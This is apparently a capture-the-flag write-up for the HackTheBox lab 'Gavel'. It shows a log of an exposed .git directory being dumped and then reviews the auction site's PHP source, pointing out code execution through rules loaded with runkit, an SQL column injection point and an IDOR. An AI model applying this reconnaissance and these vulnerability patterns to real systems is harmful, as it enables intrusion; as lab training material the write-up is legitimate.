[-] Fetching http://gavel.htb/.git/objects/ee/e2e5551c1b9992e1885f8a8417dfb136385df6 [200]
[-] Fetching http://gavel.htb/.git/objects/ee/f4752798401d2857c4a18b9f0c5ec6a0e131b0 [200]
[-] Fetching http://gavel.htb/.git/objects/ee/e07900b99065703cdb4e9b6690e7ea80f459c9 [200]
[-] Fetching http://gavel.htb/.git/objects/e8/f1b29af3f9c60d5aff29a2a1bd770e866e76c5 [200]
[-] Fetching http://gavel.htb/.git/objects/ed/42c9b3861972cf334fc92f700be3fbbdc731ce [200]
[-] Fetching http://gavel.htb/.git/objects/ed/512b58f3589452b90181ec0c946637877a90f1 [200]
[-] Fetching http://gavel.htb/.git/objects/ed/868d3124cb35105c1664a5a00a4762ee4b32f4 [200]
[-] Fetching http://gavel.htb/.git/objects/ed/a1d7dd67584f7856f2a42ba3fd1712ffc1c6b8 [200]
[-] Fetching http://gavel.htb/.git/objects/ed/fe5997fb926b3d944d52b0ec3eff0b297c78e2 [200]
[-] Fetching http://gavel.htb/.git/objects/ef/0fc070027867feb191d4f460ea51f1ca19bdf2 [200]
[-] Fetching http://gavel.htb/.git/objects/ef/7fbe7470340e0773506a1451fb844932f3e9b3 [200]
[-] Fetching http://gavel.htb/.git/objects/ef/42dd353dad3911c49d49e52b5753b51017060b [200]
[-] Fetching http://gavel.htb/.git/objects/ef/114d8e348740d71bcf4f9897615eccd9673ad0 [200]
[-] Fetching http://gavel.htb/.git/objects/ef/45b058a392a13000a3ce0b79f94eb6bb39e80b [200]
[-] Fetching http://gavel.htb/.git/objects/ef/a6a125afb2409b958b06be980c2a08861078b8 [200]
[-] Fetching http://gavel.htb/.git/objects/ec/a48f41ad77f733732e785472e522687175b749 [200]
[-] Fetching http://gavel.htb/.git/objects/f0/42dd96b3a43a03c7dd824332bc9f6f707f9a39 [200]
[-] Fetching http://gavel.htb/.git/objects/eb/c883125e642597795eb1371d958e585d2ef969 [200]
[-] Fetching http://gavel.htb/.git/objects/f0/50eb85fd7b09a822b1633cd1f28cf89e43174b [200]
[-] Fetching http://gavel.htb/.git/objects/f0/60125a00e6a541e37fe5f7db06ac8796ded55a [200]
[-] Fetching http://gavel.htb/.git/objects/f0/361565a191093c5181c8722669624edc28239a [200]
[-] Fetching http://gavel.htb/.git/objects/f0/ad4392135eca5d71a84c00701349c18c183f93 [200]
[-] Fetching http://gavel.htb/.git/objects/f0/bb3f8da444a541a71d5fa60e75ecd78f68c950 [200]
[-] Fetching http://gavel.htb/.git/objects/f0/de66d4a100d10b7c6d85604c9cd4ad9a1f445a [200]
[-] Fetching http://gavel.htb/.git/objects/ed/64d6e14be8551994b8aa9d73c1e86f1ca60904 [200]
[-] Fetching http://gavel.htb/.git/objects/ef/2f9ffcaa01df15756961930ea773c52cd50065 [200]
[-] Fetching http://gavel.htb/.git/objects/f0/c4028e653b784117ec4aa090ff90f85954c00c [200]
[-] Fetching http://gavel.htb/.git/objects/f0/f69f2c0e4a9a84d275b88882a3fd4daf525ef2 [200]
[-] Fetching http://gavel.htb/.git/objects/f1/07c8076a7b1aca67152353d28369829b6526f4 [200]
[-] Fetching http://gavel.htb/.git/objects/f1/00969486f158b2dd055575b1c8ab0d77f0f104 [200]
[-] Fetching http://gavel.htb/.git/objects/f1/485b511b51a3908d0a60701e34b12f02a24f5a [200]
[-] Fetching http://gavel.htb/.git/objects/f1/7190993243c4a318c526a10d47bad447d4aaf2 [200]
[-] Fetching http://gavel.htb/.git/objects/f1/c0226467f264641369724f2c1dd7266cf886e2 [200]
[-] Fetching http://gavel.htb/.git/objects/f1/afab8e2807cc5b07686e7b00f7650fbe624e5d [200]
[-] Fetching http://gavel.htb/.git/objects/f1/74673117839c3ff29949edf212248fe3132e3a [200]
[-] Fetching http://gavel.htb/.git/objects/f0/f5c0ead06dee8793aa53c6136172e2f080796c [200]
[-] Fetching http://gavel.htb/.git/objects/f1/e5501eb9e180f4c994ede62e55b256b2e9e43e [200]
[-] Fetching http://gavel.htb/.git/objects/f1/c499141accb569142e67a5ffff52ea1fb22cf1 [200]
[-] Fetching http://gavel.htb/.git/objects/f1/f48e0d52f96c34c18a171945ba0466852d015c [200]
[-] Fetching http://gavel.htb/.git/objects/f4/04179bffae18e95c58c74608bb521be52cb90c [200]
[-] Fetching http://gavel.htb/.git/objects/f4/6c53e6ffd25d758cd77bb27ab69513e9de893c [200]
[-] Fetching http://gavel.htb/.git/objects/f4/11b324ba1ce8caa1643eb18b89802c79a09a61 [200]
[-] Fetching http://gavel.htb/.git/objects/f4/437a758a6ebe5c6d01ca14c3c348fdcdccf0d5 [200]
[-] Fetching http://gavel.htb/.git/objects/f4/23415e6e073c5755e0819cebd49796daab04b0 [200]
[-] Fetching http://gavel.htb/.git/objects/f4/af5e1509560e8d3131ad649e19d189fe08582e [200]
[-] Fetching http://gavel.htb/.git/objects/f2/43628e5c596e28a2ccd6b61f6cb6793185d6e1 [200]
[-] Fetching http://gavel.htb/.git/objects/f4/e2a08ff5debc12980ffcd8d2a5402882ed3d71 [200]
[-] Fetching http://gavel.htb/.git/objects/f2/69f0a8ea1f9174d69fd948023df73c431c6c76 [200]
[-] Fetching http://gavel.htb/.git/objects/f2/c6bf0810def5c31ccd73dbd14670ca34c25839 [200]
[-] Fetching http://gavel.htb/.git/objects/f2/c7ee48146fa4ab835963f8122efa08f3e6e983 [200]
[-] Fetching http://gavel.htb/.git/objects/f5/2bb4d6151beaf58eea177e4feb26d1bb37eddf [200]
[-] Fetching http://gavel.htb/.git/objects/f5/4ad96ee03f2944d3f2d0350f47e0c42f3e3bdf [200]
[-] Fetching http://gavel.htb/.git/objects/f5/35de5643b04f6ae71b2ce1f250eadf82ca433b [200]
[-] Fetching http://gavel.htb/.git/objects/f5/b1fc5358a6cb201b47cc848a4cda6b7c4a1d99 [200]
[-] Fetching http://gavel.htb/.git/objects/f5/b541f3db817ae93616803e66b33a840fcb0b96 [200]
[-] Fetching http://gavel.htb/.git/objects/f5/ed54a49a54f680f9375cc491409eef454fe165 [200]
[-] Fetching http://gavel.htb/.git/objects/f5/c7ef54fb757bd338f57bff205aec3cd6b376a7 [200]
[-] Fetching http://gavel.htb/.git/objects/f5/d817fe49e7af74daddb08619ea6ed699462c15 [200]
[-] Fetching http://gavel.htb/.git/objects/f5/d03fcd59c1fc62db7549347003ae43ff6ec709 [200]
[-] Fetching http://gavel.htb/.git/objects/f3/1bef92b64e9d493204176354b2d7f83d8d7eae [200]
[-] Fetching http://gavel.htb/.git/objects/f3/3e8162997aaa9da582aa81428ee87aa48953a6 [200]
[-] Fetching http://gavel.htb/.git/objects/f3/8f342297271a15307fa7b3efec568f00657eb0 [200]
[-] Fetching http://gavel.htb/.git/objects/f3/9de1185764712eef648fc4af2b4a0ab43a8113 [200]
[-] Fetching http://gavel.htb/.git/objects/f3/764880228bff11cab2ec034ef5a3848c441e5e [200]
[-] Fetching http://gavel.htb/.git/objects/f3/b9613c244bbafc0d2d34b1d4dad643e1d212b0 [200]
[-] Fetching http://gavel.htb/.git/objects/f3/e84a280f4a457255db58adfbb215a351d01e88 [200]
[-] Fetching http://gavel.htb/.git/objects/f6/0b20e9b6613dda2d52fe1d8ae08823ed6e5937 [200]
[-] Fetching http://gavel.htb/.git/objects/f3/d318a5c899ec2d180717c3dd8db21cc893b2db [200]
[-] Fetching http://gavel.htb/.git/objects/f3/dab83471a9e5e32bef305fefb37894d8812485 [200]
[-] Fetching http://gavel.htb/.git/objects/f6/2fdb84a36a2c73ee37de0a2f79aff01e3dfa9f [200]
[-] Fetching http://gavel.htb/.git/objects/f6/7d7ffeb1d5532010165f789dd95198aaf1d65a [200]
[-] Fetching http://gavel.htb/.git/objects/f6/7d90739a31d3f9ffcc3b9122652b500ff2a497 [200]
[-] Fetching http://gavel.htb/.git/objects/f6/4d79ce833f4aae2affd2e0d06956e3d6b6647b [200]
[-] Fetching http://gavel.htb/.git/objects/f6/8d0439e0e8fd4639264f1853c72cad792e951e [200]
[-] Fetching http://gavel.htb/.git/objects/e0/8f6519e112de3901c28de03a76c2bb984e172b [200]
[-] Fetching http://gavel.htb/.git/objects/e0/04f82f8b6c2dac1cd38a386b1cb572031a9367 [200]
[-] Fetching http://gavel.htb/.git/objects/f6/e4467d4f43fd29f25ee7f6cc23536ca762b012 [200]
[-] Fetching http://gavel.htb/.git/objects/e0/7a53aa6a3178d7daeb1fc2e6ee93a783794644 [200]
[-] Fetching http://gavel.htb/.git/objects/e0/428f46c9403913322bc0f44694c548c40e2eac [200]
[-] Fetching http://gavel.htb/.git/objects/df/1e1366283dec7184b88f72be7b9bfd86bb62a8 [200]
[-] Fetching http://gavel.htb/.git/objects/e0/e822b3a43670f685cefeb9046200450429de07 [200]
[-] Fetching http://gavel.htb/.git/objects/e0/a877f9ee79acaf96f074432a9a79d4a051da5d [200]
[-] Fetching http://gavel.htb/.git/objects/df/070bc59634213b5f9d49b4d6169d61dd6ac40d [200]
[-] Fetching http://gavel.htb/.git/objects/df/1010b915bc42f05b8af4e1ecde3df0f168f7a0 [200]
[-] Fetching http://gavel.htb/.git/objects/df/fca0ad5fae9eb7eebd11c0d34022740dae5a52 [200]
[-] Fetching http://gavel.htb/.git/objects/f8/57aa75ef70285a5f11d049f2d9760ab67e3409 [200]
[-] Fetching http://gavel.htb/.git/objects/f8/841f90dc7936f7ce2d80ea82c0151d03c5c270 [200]
[-] Fetching http://gavel.htb/.git/objects/f8/7c3fec3cac100350cdd0c78ca293b142c7e7b8 [200]
[-] Fetching http://gavel.htb/.git/objects/f8/3338415195f439ebd271c1ab4a6ab197e3600e [200]
[-] Fetching http://gavel.htb/.git/objects/f7/10b11ad53920e6a8ae243bc90c7f240210e35e [200]
[-] Fetching http://gavel.htb/.git/objects/f7/5f138971ea91c0da5a66beace6b96c6f49b860 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/ac1e5dcceac6fac0fe59fba0b9052c46811280 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/4020a207886ce42c789173423f80f8e0b229e8 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/a5787f724f9fcf5308751d0cb8a2f7edc7fbc7 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/d91677b5ed40c9ea6dbb617c0888844d08c116 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/e9e245b92a481c04f924825557fb4a6eebec03 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/5cba7e605ab2eb0966df25646517c54bb97499 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/09688d2790272d5076869472a7ef1b4aea1864 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/0abf91c96458f6b4bdb9e3eaa82cb0626faf47 [200]
[-] Fetching http://gavel.htb/.git/objects/f7/e61a023280aa306107498f189a3ee499cde7a7 [200]
[-] Fetching http://gavel.htb/.git/objects/f9/25189481f8768cc9de1cb01aca6481e5baf4e4 [200]
[-] Fetching http://gavel.htb/.git/objects/f9/2aaa7cfe6652ad5c8b9b3ea46cbb155115eee3 [200]
[-] Fetching http://gavel.htb/.git/objects/f9/1ced156071ee558cc5fb4900f8ff3593efa865 [200]
[-] Fetching http://gavel.htb/.git/objects/f9/453eb0aa8bc066174fcd76aa9bc5ba19c2e5fe [200]
[-] Fetching http://gavel.htb/.git/objects/f9/856d16020471668f4627fbed3254114a8ca13c [200]
[-] Fetching http://gavel.htb/.git/objects/fa/5f54e1998f0c2463de6ce2abe796647a0fbb9b [200]
[-] Fetching http://gavel.htb/.git/objects/fa/91f82c4981fef90b31e22e75f353fb4c20ee0e [200]
[-] Fetching http://gavel.htb/.git/objects/f9/c40f18d1c04ab8301f0c530da9372cdcccf892 [200]
[-] Fetching http://gavel.htb/.git/objects/f9/ca8d91cd30d6b0000d725c9b4c4601a6ec3274 [200]
[-] Fetching http://gavel.htb/.git/objects/fa/568a906390f365e8f6b23188ef09fa9c0c3956 [200]
[-] Fetching http://gavel.htb/.git/objects/fa/2463feb114449db5dd308c0b2b48710bd2cb6a [200]
[-] Fetching http://gavel.htb/.git/objects/fa/b29b9fd036093b41cbaad14bbad38b98a12f59 [200]
[-] Fetching http://gavel.htb/.git/objects/fa/6198faa276c23844f7a003b190a144bb41a6e1 [200]
[-] Fetching http://gavel.htb/.git/objects/fa/c0b8a6ca9499406801615b6c125c89daae5497 [200]
[-] Fetching http://gavel.htb/.git/objects/fa/edc73016c82d2d9bf9597882551f3c7444876d [200]
[-] Fetching http://gavel.htb/.git/objects/fa/d684e57b4b1a3fe9d8dfee7e820e3de63b2ce8 [200]
[-] Fetching http://gavel.htb/.git/objects/fc/01f824b44d83e5bf9a7e8981d340c96ab5785b [200]
[-] Fetching http://gavel.htb/.git/objects/fa/e180dacc52937c1d6a24636431663d6754fef5 [200]
[-] Fetching http://gavel.htb/.git/objects/fa/aa75ef7fc630072f9e5668edac1ece8fd6ca7e [200]
[-] Fetching http://gavel.htb/.git/objects/fc/6bb6fb2a539c3a74660173c21ca8e856c4ae7e [200]
[-] Fetching http://gavel.htb/.git/objects/fc/6c299b73e792ef288e785c22393a5df9dded4b [200]
[-] Fetching http://gavel.htb/.git/objects/fc/567cd2f11d83683d9eb4ca1a5fdc912f7d417c [200]
[-] Fetching http://gavel.htb/.git/objects/fc/540b03bbe88b5785a1eb2b669414c2ee7f87b5 [200]
[-] Fetching http://gavel.htb/.git/objects/fc/772d4255b44a4888dd0b09cbf862c9b05f52e8 [200]
[-] Fetching http://gavel.htb/.git/objects/fc/5064b75f590e256503edeb4ad085f27a1610bc [200]
[-] Fetching http://gavel.htb/.git/objects/fc/d3956a7dcbf4e86216c853f5b397d8cd89bbd6 [200]
[-] Fetching http://gavel.htb/.git/objects/fc/42520d02d76483d7f300ef6db5b752696bb493 [200]
[-] Fetching http://gavel.htb/.git/objects/fb/1cd63509900a5e2dadd99b12855ff540179656 [200]
[-] Fetching http://gavel.htb/.git/objects/fb/5eb9a2bc00e72be244413ddf92db36bcf03d03 [200]
[-] Fetching http://gavel.htb/.git/objects/fb/7b8796b24de18329dbdefe716bf8fde5e291d6 [200]
[-] Fetching http://gavel.htb/.git/objects/fb/8ec12911fd32921d8df268fd608c4a096f1acc [200]
[-] Fetching http://gavel.htb/.git/objects/fb/5066bf55dd2d56afad94f322968414775d1638 [200]
[-] Fetching http://gavel.htb/.git/objects/fb/4310486dc5a755a082824c304fe25eb4b75f43 [200]
[-] Fetching http://gavel.htb/.git/objects/fb/826896ca6dcc2350003f20517e7f57ae00a72a [200]
[-] Fetching http://gavel.htb/.git/objects/fd/1b3174155d0dcccb24e0bfa1ddc3f0149cbab6 [200]
[-] Fetching http://gavel.htb/.git/objects/fd/12acddedf0a50a58caf45e56b5b345016127e1 [200]
[-] Fetching http://gavel.htb/.git/objects/fd/626465a67314ae6f4f475cf5c1fc916e03c5d4 [200]
[-] Fetching http://gavel.htb/.git/objects/fd/f5240cbe9468c11f32c6f823df0404ea313c7b [200]
[-] Fetching http://gavel.htb/.git/objects/e9/1cf29b07c3e840200d4302f4aff479fe2a4e51 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/b7c7ee589df2ef600371862fe181a24291cffd [200]
[-] Fetching http://gavel.htb/.git/objects/e9/5157de5e67d1231dec55fc92559a4cd739c6b0 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/375317f57dc7c88022294d8ca8f30009efe5ae [200]
[-] Fetching http://gavel.htb/.git/objects/e9/6551995d35f8fcb1ac5af0ed5fbbe5ecc0dc47 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/bb259a74a86b1101dbcc6483f7f38e7aaa0583 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/be15defb870dc1f4167fca4b162037aa497183 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/2522a94d82a571b84ac1de470bcb70b176023c [200]
[-] Fetching http://gavel.htb/.git/objects/e9/de093d9b910543631d50cf88970f43bbf3b4f4 [200]
[-] Fetching http://gavel.htb/.git/objects/fe/7978feee5d11c5aaf7bfa02602ef34130f2379 [200]
[-] Fetching http://gavel.htb/.git/objects/ff/27a161f2dd87a0c597ba5638e3457ac167c416 [200]
[-] Fetching http://gavel.htb/.git/objects/ff/4a99765f490c806dbe7a2a233d5fbfc976db13 [200]
[-] Fetching http://gavel.htb/.git/objects/ff/65f6078040e0cc68b9bc30ab4bdab50ad8ccf0 [200]
[-] Fetching http://gavel.htb/.git/objects/ff/dc26be661f75d6e8909d474aca5ff1ccebd71f [200]
[-] Fetching http://gavel.htb/.git/objects/ff/f99f302ca5312eb1cca6536d1153171e549fb0 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/fadd3c1a31e5201e4c3f461adb1bb3a169ba95 [200]
[-] Fetching http://gavel.htb/.git/objects/fe/04870bc4fc146cd72f8f552cb5e83a43f1eaca [200]
[-] Fetching http://gavel.htb/.git/objects/fe/2ac098b9c6494ed88931df02af0e9eb10819a9 [200]
[-] Fetching http://gavel.htb/.git/objects/e9/f54b13d5e925602e04501415ced4bc0bc881d2 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index

In the resulting directory, there are files and a currently up to date repo:

oxdf@hacky$ ls
admin.php  assets  bidding.php  includes  index.php  inventory.php  login.php  logout.php  register.php  rules
oxdf@hacky$ git status 
On branch master
nothing to commit, working tree clean

Overview

I’ll open the code in VSCode and take a look. Most of the pages line up with what I observed interacting with the website, but there is also an admin.php:

assets has the CSS, JavaScript, and images used by the site. includes has parts of code that are included in other pages (and for some reason the bid_handler.php API):

rules has a default.yaml file:

rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

Index

index.php is mostly HTML, but there is a small block in the menu bar:

<?php if (!isset($_SESSION['user'])): ?>
...[snip]...
<?php else: ?>
...[snip]...
    <?php if ($_SESSION['user']['role'] === 'auctioneer'): ?>
        <li class="nav-item">
            <a class="nav-link" href="admin.php">
                <i class="fas fa-tools"></i>
                <span>Admin Panel</span>
            </a>
        </li>
    <?php endif; ?>
<?php endif; ?>

If the user is auctioneer, then there’s a link to admin.php. There’s another part where it read the items from a .json file:

<div class="container-fluid">
    <?php
    $items = json_decode(file_get_contents(__DIR__ . '/assets/items.json'), true);
    if (!is_array($items)) {
        $items = [];
    } else {
        shuffle($items);
        $items = array_slice($items, 0, 3);
    }
    ?>
    <h2 class="text-left"><i class="fas fa-eye"></i> Here's what we've got in our lootbox:</h2>
    <div class="row">
        <?php foreach ($items as $item): ?>
            <div class="col-md-4">
                <div class="card shadow mb-4">
                    <div class="card-body">
                        <img src="<?= ASSETS_URL ?>/img/<?= htmlspecialchars($item['image']) ?>" class="card-img-top" alt="<?= htmlspecialchars($item['name']) ?>"><hr>
                        <h5 class="card-title"><strong><?= htmlspecialchars($item['name']) ?></strong></h5><hr>
                        <p class="card-text text-justify"><?= htmlspecialchars($item['description']) ?></p>
                    </div>
                </div>
            </div>
        <?php endforeach; ?>
    </div>
</div>

It’s weird to do this file based, and weird to do it in PHP on the server from a file that’s available in the assets directory:

oxdf@hacky$ curl gavel.htb/assets/items.json
[
    {
        "name": "Goblin Employment Contract",
        "description": "Signed in blood. No expiration. Includes a mandatory weekly prank clause and non-refundable betrayal fee.",
        "image": "employment.jpg"
    },
    {
        "name": "Mermaid's Toe",
        "description": "Extremely cursed. Last owner vanished mid-bid. Wrapped in seaweed, still damp. No refunds.",
        "image": "toe.jpg"
    },
    {
        "name": "Unicorn Parking Permit",
        "description": "Valid only in enchanted zones. Multiple violations reported. Enforced by invisible hooves.",
        "image": "permit.jpg"
    },
    {
        "name": "Cursed Mirror Shard",
        "description": "Reflects deepest regrets and bad haircuts. Occasionally whispers tax advice.",
        "image": "shard.jpg"
    },
    {
        "name": "Amulet of Slight Luck",
        "description": "Increases luck by 2%, but only during goblin holidays.",
        "image": "luck.jpg"
    },
    {
        "name": "Invisible Cloak (Children's Size)",
        "description": "Fully functional. Unfortunately, permanently stuck on invisibility. No known way to verify its existence.",
        "image": "robe.jpg"
    },
    {
        "name": "Time-Traveling Spoon",
        "description": "Returns to the last meal you regretted. Constant gravy scent.",
        "image": "spoon.jpg"
    },
    {
        "name": "Certificate of Authenticity",
        "description": "Authenticates itself. Nothing else. Stamped by someone named 'Reginald?'.",
        "image": "certificate.jpg"
    },
    {
        "name": "Cloak of Mild Invisibility",
        "description": "Works only when no one is looking. Folds like a towel.",
        "image": "cloak.jpg"
    },
    {
        "name": "Scroll of Scroll Summoning",
        "description": "Summons one scroll, which also summons a scroll, etc. Quickly becomes a storage hazard.",
        "image": "scroll.jpg"
    },
    {
        "name": "Potion of Eternal Wakefulness",
        "description": "Promised endless energy. Side effects: jittery limbs, hallucinations, and accidental spellcasting.",
        "image": "juice.jpg"
    },
    {
        "name": "Goblet of Slight Insight",
        "description": "Reveals deep truths, but only during reality TV.",
        "image": "goblet.jpg"
    },
    {
        "name": "Haunted Quill",
        "description": "Writes your secrets... in public forums. Fluent in sarcasm.",
        "image": "quill.jpg"
    },
    {
        "name": "Wizard's Expired Library Card",
        "description": "Access to forbidden knowledge... if you can convince the librarian ghost.",
        "image": "library.jpg"
    },
    {
        "name": "Helmet of Thought Suppression",
        "description": "Eliminates intrusive thoughts. Also regular ones. Side effect: forgets how to remove helmet.",
        "image": "helmet.jpg"
    },
    {
        "name": "Ethereal Tax Token",
        "description": "Required to legally bid on incorporeal artifacts. May scream during audits.",
        "image": "tax.jpg"
    },
    {
        "name": "Ring of Forgettable Power",
        "description": "Does something amazing. No one remembers what.",
        "image": "ring.jpg"
    },
    {
        "name": "One-Way Portal Key",
        "description": "Destination unknown. Return trip sold separately.",
        "image": "key.jpg"
    },
    {
        "name": "Boots of Slight Speed",
        "description": "Makes you faster... than snails. Slightly.",
        "image": "speed.jpg"
    },
    {
        "name": "Goblin-Signed NDA",
        "description": "Prevents talking about the NDA. Violations result in slap-based enforcement.",
        "image": "NDA.jpg"
    }
]

Login / Logout / Register

The process for logging in / out and registering is pretty standard. I’ll note that on registering, the hash is created from the user supplied password and the password_hash function:

$hash = password_hash($password, PASSWORD_DEFAULT);

The PHP docs for password_hash show that PASSWORD_DEFAULT is most likely bcrypt:

PASSWORD_DEFAULT - Use the bcrypt algorithm (default as of PHP 5.5.0). Note that this constant is designed to change over time as new and stronger algorithms are added to PHP. For that reason, the length of the result from using this identifier can change over time. Therefore, it is recommended to store the result in a database column that can expand beyond 60 bytes (255 bytes would be a good choice).

That could be useful to know when I dump the database later.

Bidding

The bidding page is mostly HTML and JavaScript. It calls two functions from includes/auction.php, which happen to be the only things in that file:

<?php
require_once __DIR__ . '/db.php';

function get_all_active_auctions(PDO $pdo): array {
    $stmt = $pdo->query("SELECT * FROM auctions WHERE ends_at > NOW() AND status = 'active' ORDER BY ends_at ASC");
    return $stmt->fetchAll(PDO::FETCH_ASSOC);
}

function get_item_by_name(string $name): ?array {
    $items = json_decode(file_get_contents(__DIR__ . '/../assets/items.json'), true);
    foreach ($items as $item) {
        if ($item['name'] === $name) {
            return $item;
        }
    }
    return null;
}

get_all_active_auctions makes a DB call to do just that. The items are stored (for some unrealistic reason) in a JSON file.

When someone POSTs a bid, it goes to /includes/bid_handler.php. This file first validates that there’s a user logged in, and then parses the POST parameters:

<?php
require_once __DIR__ . '/config.php';
require_once __DIR__ . '/db.php';
require_once __DIR__ . '/session.php';

header('Content-Type: application/json');

if (!isset($_SESSION['user'])) {
    echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
    exit;
}

$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;

It then fetches the auction from the database and makes sure it and the bid are valid:

$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();

if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) {
    echo json_encode(['success' => false, 'message' => 'Auction has ended.']);
    exit;
}

if ($bid_amount <= 0) {
    echo json_encode(['success' => false, 'message' => 'Your bid must be greater than 0.']);
    exit;
}

if ($bid_amount <= $auction['current_price']) {
    echo json_encode(['success' => false, 'message' => 'Your bid must be more than the current bid amount!']);
    exit;
}

It makes sure the user has enough money:

$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

if (!$user || $user['money'] < $bid_amount) {
    echo json_encode(['success' => false, 'message' => 'Insufficient funds to place this bid.']);
    exit;
}

Each auction has a rule and message field associated with it in the database. In the next section, that is loaded and then the rule is loaded as a PHP function using runkit_function_add, a function to load raw PHP into memory as a function:

$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

if (!$allowed) {
    echo json_encode(['success' => false, 'message' => $rule_message]);
    exit;
}

Finally it updates the auctions table with the new bid:

try {
    $pdo->beginTransaction();
    $newEndsAt = date('Y-m-d H:i:s', time() + 120);
    $stmt = $pdo->prepare("UPDATE auctions SET current_price = ?, highest_bidder = ?, ends_at = ? WHERE id = ?");
    $stmt->execute([$bid_amount, $username, $newEndsAt, $auction_id]);

    $stmt = $pdo->prepare("UPDATE users SET money = money - ? WHERE id = ?");
    $stmt->execute([$bid_amount, $id]);

    $pdo->commit();
} catch (Exception $e) {
    $pdo->rollBack();
    echo json_encode(['success' => false, 'message' => 'Transaction failed. Try again.']);
    exit;
}

echo json_encode(['success' => true, 'message' => 'Bid placed successfully!']);

Inventory

inventory.php starts with includes and a session validation:

<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';

if (!isset($_SESSION['user'])) {
    header('Location: index.php');
    exit;
}

It then gets the parameters from GET or POST (not sure why they didn’t just use $_REQUEST), with default values, wrapping the $sortItem in backticks and removing any backtick characters from the input string:

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

This is also insecure as it trusts the user input for the user_id over the session, which means I can read other user’s inventory. This insecure direct object reference (IDOR) vulnerability is not a part of the path to solve Gavel, but it’s definitely a vulnerability.

Then it tries to make an SQL query:

$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}

This is really bad PHP code. $itemMeta is prepared but not executed until later. Then there’s this odd if / else where it makes basically the same query except that it sorts by a different thing, and for some reason collects different columns. The code later will have to do some very unreadable things to account for that, such as:

    $itemMap[$name] = [
        'name' => $name ?? "",
        'description' => $meta['description'] ?? "",
        'image' => $meta['image'] ?? "",
        'quantity' => $row['quantity'] ?? (is_numeric($row[$firstKey]) ? $row[$firstKey] : 1)
    ];

Admin

The admin.php page has a check for the top to ensure only users with the role “auctioneer” can continue:

if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
}

This page seems to offer a way to update the rule and message for the active auctions. The interesting part is:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $auction_id = intval($_POST['auction_id'] ?? 0);
    $rule = trim($_POST['rule'] ?? '');
    $message = trim($_POST['message'] ?? '');

    if ($auction_id > 0 && (empty($rule) || empty($message))) {
        $stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
        $stmt->execute([$auction_id]);
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if (!$row) {
            $_SESSION['success'] = 'Auction not found.';
            header('Location: admin.php');
            exit;
        }
        if (empty($rule))    $rule = $row['rule'];
        if (empty($message)) $message = $row['message'];
    }

    if ($auction_id > 0 && $rule && $message) {
        $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
        $stmt->execute([$rule, $message, $auction_id]);
        $_SESSION['success'] = 'Rule and message updated successfully!';
        header('Location: admin.php');
        exit;
    }
}

There’s nothing necessarily vulnerable here, but if I can set custom PHP code as the rule, that’s basically arbitrary execution.

Git History

There are three commits to this repo:

oxdf@hacky$ git log --oneline 
f67d907 (HEAD -> master) ..
2bd167f .
ff27a16 gavel auction ready

git diff shows what happened with each commit:

oxdf@hacky$ git diff 2bd167f ff27a16
diff --git a/rules/default.yaml b/rules/default.yaml
index 5eedec9..a5bef05 100755
--- a/rules/default.yaml
+++ b/rules/default.yaml
@@ -12,4 +12,4 @@ rules:
     message: "Bidding is restricted to users with an odd-numbered username."
 
   - rule: "return $current_bid >= $previous_bid + 5000;"
-    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
